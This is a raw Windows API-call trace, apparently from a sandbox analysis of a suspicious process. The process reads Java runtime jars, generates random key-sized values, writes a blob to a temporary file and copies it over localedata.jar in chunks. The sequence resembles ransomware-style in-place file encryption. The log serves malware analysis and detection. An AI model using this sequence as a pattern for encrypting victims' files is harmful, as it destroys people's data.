	[0249.963] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0249.963] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0) returned 0
	[0249.963] WriteFile (in: hFile=0x0, lpBuffer=0xc0000f0000, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0) returned 0
	[0249.963] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0249.964] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0003e5bf4 | out: lpMode=0xc0003e5bf4) returned 0
	[0249.964] GetFileType (hFile=0x19c) returned 0x1
	[0249.964] GetFileType (hFile=0x19c) returned 0x1
	[0249.964] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0003e5c44 | out: lpFileInformation=0xc0003e5c44) returned 1
	[0249.964] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0003e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0003e5c28) returned 1
	[0249.964] VirtualAlloc (lpAddress=0xc001c00000, dwSize=0x1400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc001c00000
	[0249.968] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebe50000
	[0249.968] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebe80000
	[0249.969] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebeb0000
	[0249.969] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebee0000
	[0249.969] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebf10000
	[0249.973] VirtualAlloc (lpAddress=0xc001498000, dwSize=0x1168000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0249.973] VirtualAlloc (lpAddress=0xc001498000, dwSize=0x1168000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0249.973] VirtualAlloc (lpAddress=0xc001498000, dwSize=0x8b4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0249.973] VirtualAlloc (lpAddress=0xc001498000, dwSize=0x45a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc001498000
	[0250.495] VirtualAlloc (lpAddress=0xc0018f2000, dwSize=0xd0e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0250.495] VirtualAlloc (lpAddress=0xc0018f2000, dwSize=0x687000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0250.495] VirtualAlloc (lpAddress=0xc0018f2000, dwSize=0x343000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0250.495] VirtualAlloc (lpAddress=0xc0018f2000, dwSize=0x1a1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0018f2000
	[0250.505] VirtualAlloc (lpAddress=0xc001a93000, dwSize=0xb6d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0250.506] VirtualAlloc (lpAddress=0xc001a93000, dwSize=0x5b6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0250.506] VirtualAlloc (lpAddress=0xc001a93000, dwSize=0x2db000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0250.506] VirtualAlloc (lpAddress=0xc001a93000, dwSize=0x16d000, flAllocationType=0x1000, flProtect=0x4) returned 0xc001a93000
	[0250.515] VirtualAlloc (lpAddress=0xc001c00000, dwSize=0xa00000, flAllocationType=0x1000, flProtect=0x4) returned 0xc001c00000
	[0250.618] SetEvent (hEvent=0x188) returned 1
	[0250.618] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0250.646] SetEvent (hEvent=0xf0) returned 1
	[0250.646] SetEvent (hEvent=0x17c) returned 1
	[0250.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9b8*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0250.666] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0250.666] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9b8*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0251.060] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0251.060] SetEvent (hEvent=0x188) returned 1
	[0251.060] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0251.248] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0251.421] SetEvent (hEvent=0x188) returned 1
	[0251.421] SetEvent (hEvent=0x17c) returned 1
	[0251.421] VirtualAlloc (lpAddress=0xc0007d6000, dwSize=0x21c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.422] VirtualAlloc (lpAddress=0xc0007d6000, dwSize=0x21c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.422] VirtualAlloc (lpAddress=0xc0007d6000, dwSize=0x10e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.422] VirtualAlloc (lpAddress=0xc0007d6000, dwSize=0x87000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.422] VirtualAlloc (lpAddress=0xc0007d6000, dwSize=0x43000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.422] VirtualAlloc (lpAddress=0xc0007d6000, dwSize=0x21000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007d6000
	[0251.423] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x1fb000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.424] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0xfd000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.424] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x7e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.424] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x3f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.424] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x1f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.424] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.424] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007f7000
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x1f4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0xfa000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x7d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x3e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x1f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.425] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007fe000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007fe000
	[0251.426] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x1f3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0xf9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x7c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x3e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x1f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.426] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.427] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.427] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0251.427] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007ff000
	[0251.427] VirtualAlloc (lpAddress=0xc000800000, dwSize=0x1f2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000800000
	[0251.437] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0007d6000, nNumberOfBytesToRead=0x21a66d, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0007d6000*, lpNumberOfBytesRead=0xc0000c5b04*=0x21a46d, lpOverlapped=0x0) returned 1
	[0251.895] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0009f046d, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0009f046d*, lpNumberOfBytesRead=0xc0000c5b04*=0x0, lpOverlapped=0x0) returned 1
	[0251.895] CloseHandle (hObject=0x1ac) returned 1
	[0251.895] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e2e0 | out: pbBuffer=0xc00000e2e0) returned 1
	[0251.895] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0251.896] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
	[0252.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a233ee53138bc778935088e49fb82274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a233ee53138bc778935088e49fb82274"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0252.426] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000211c04 | out: lpMode=0xc000211c04) returned 0
	[0252.426] GetFileType (hFile=0x1ac) returned 0x1
	[0252.426] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0009f2000*, nNumberOfBytesToWrite=0x21a56d, lpNumberOfBytesWritten=0xc000211bec, lpOverlapped=0x0 | out: lpBuffer=0xc0009f2000*, lpNumberOfBytesWritten=0xc000211bec*=0x21a56d, lpOverlapped=0x0) returned 1
	[0252.921] CloseHandle (hObject=0x1ac) returned 1
	[0253.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0253.607] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000211d74 | out: lpMode=0xc000211d74) returned 0
	[0253.607] GetFileType (hFile=0x1ac) returned 0x1
	[0253.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a233ee53138bc778935088e49fb82274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a233ee53138bc778935088e49fb82274"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0253.608] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc000211d74 | out: lpMode=0xc000211d74) returned 0
	[0253.608] GetFileType (hFile=0x1b4) returned 0x1
	[0253.608] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.609] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.612] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.613] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.614] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.614] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.615] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.615] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.616] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.616] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.617] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.618] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.618] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.619] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.620] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.621] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.622] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.623] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.626] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.626] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.627] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.628] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.628] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.629] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.629] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.630] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.630] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.631] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.631] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.632] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.632] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.633] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.633] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.634] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.637] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.637] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.638] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.638] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.095] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.096] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.097] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.097] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.099] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.099] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.100] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.100] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.101] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.101] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.102] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.104] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.107] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.107] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
